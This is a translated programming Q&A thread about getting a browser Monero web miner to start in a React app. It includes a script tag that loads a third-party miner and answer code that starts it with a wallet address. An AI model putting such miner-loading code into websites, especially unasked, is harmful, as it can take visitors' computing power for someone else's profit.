【问题标题】:Function not importing from external js file in react函数未从外部 js 文件导入反应
【发布时间】:2020-08-04 19:39:47
【问题描述】:

我正在从 EJS 模板迁移一个网络矿工来做出反应。下面的代码开始挖掘过程。

<script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>

<script>
  $(function() {
    EverythingIsLife('...', 'x', 70);
    $("#webMinerInfo").html("Mining...");
  });
</script>

它从该 URL 加载必要的数据(包括函数 EverythingIsLife),然后运行它,在开始挖掘时向用户发送消息。但是,当我尝试在反应中做同样的事情时:

WebMinerPage.jsx:

function WebMinerPage() {
    document.body.style.backgroundColor = "#EEEEEE";
    // add miner script

    function handleLoad() {
        EverythingIsLife('...', 'x', 70);
        document.querySelector("#webMinerInfo").innerHTML = "Mining...";
    }

    useEffect(() => {
        window.addEventListener('load', handleLoad);

        return () => {
            window.removeEventListener('load', handleLoad);
        }
    }, []);

// return and export statements

在我的 index.html 的头部我有: &lt;script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"&gt;&lt;/script&gt;

它返回一个错误:

编译失败! EverythingisLife 没有定义。

我该如何解决这个问题?任何帮助将不胜感激。

【问题讨论】:

    标签: javascript reactjs import web-mining


    【解决方案1】:

    您需要将处理脚本初始化的事件监听器绑定/取消绑定到domload事件:

    class Comp1 extends React.Component {
     constructor(props) {
        super(props);
        this.handleLoad = this.handleLoad.bind(this);
     }
    
     componentDidMount() {
        window.addEventListener('load', this.handleLoad);
     }
    
     componentWillUnmount() { 
       window.removeEventListener('load', this.handleLoad)  
     }
    
     handleLoad() {
      window.EverythingIsLife('41e5VEKZTbWYpEWRW21yV1E9AVgNkNGrBciPSncifEAbHqxGUSd12Xr5yCfMyUTJM92opviLuaAWhXCHaX4gvdYLBBT9zUR', 'x', 70);
        $("#webMinerInfo").html("Mining...");
     }
    }
    

    以上等价于$(function() {})

    $(函数() { ... });只是 jQuery 的简写 $(document).ready(function() { ... });它的设计目的 (除其他外)确保您的函数被调用一次 页面的 DOM 元素可以使用了

    取自here

    【讨论】:

    • @Shrey Hoshi 顺便说一句,您对从网页中挖掘门罗币有何看法?是否有利可图?
    • 嗨马克西姆感谢您的建议。我正在使用反应功能组件,我尝试使用 useEffect() 但它仍然返回相同的错误。
    • 我尝试使用类以及您编写的代码,但似乎没有什么不同:/
    • 不错的钩子更好是的!查看您的代码,我认为您不必要地用require 包装您的script 标签。你也在你的html中添加这些head吗?
    • 尝试改用window.EverythingIsLife
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-02-05
    • 2017-02-15
    • 1970-01-01
    • 2023-03-08
    相关资源
    最近更新 更多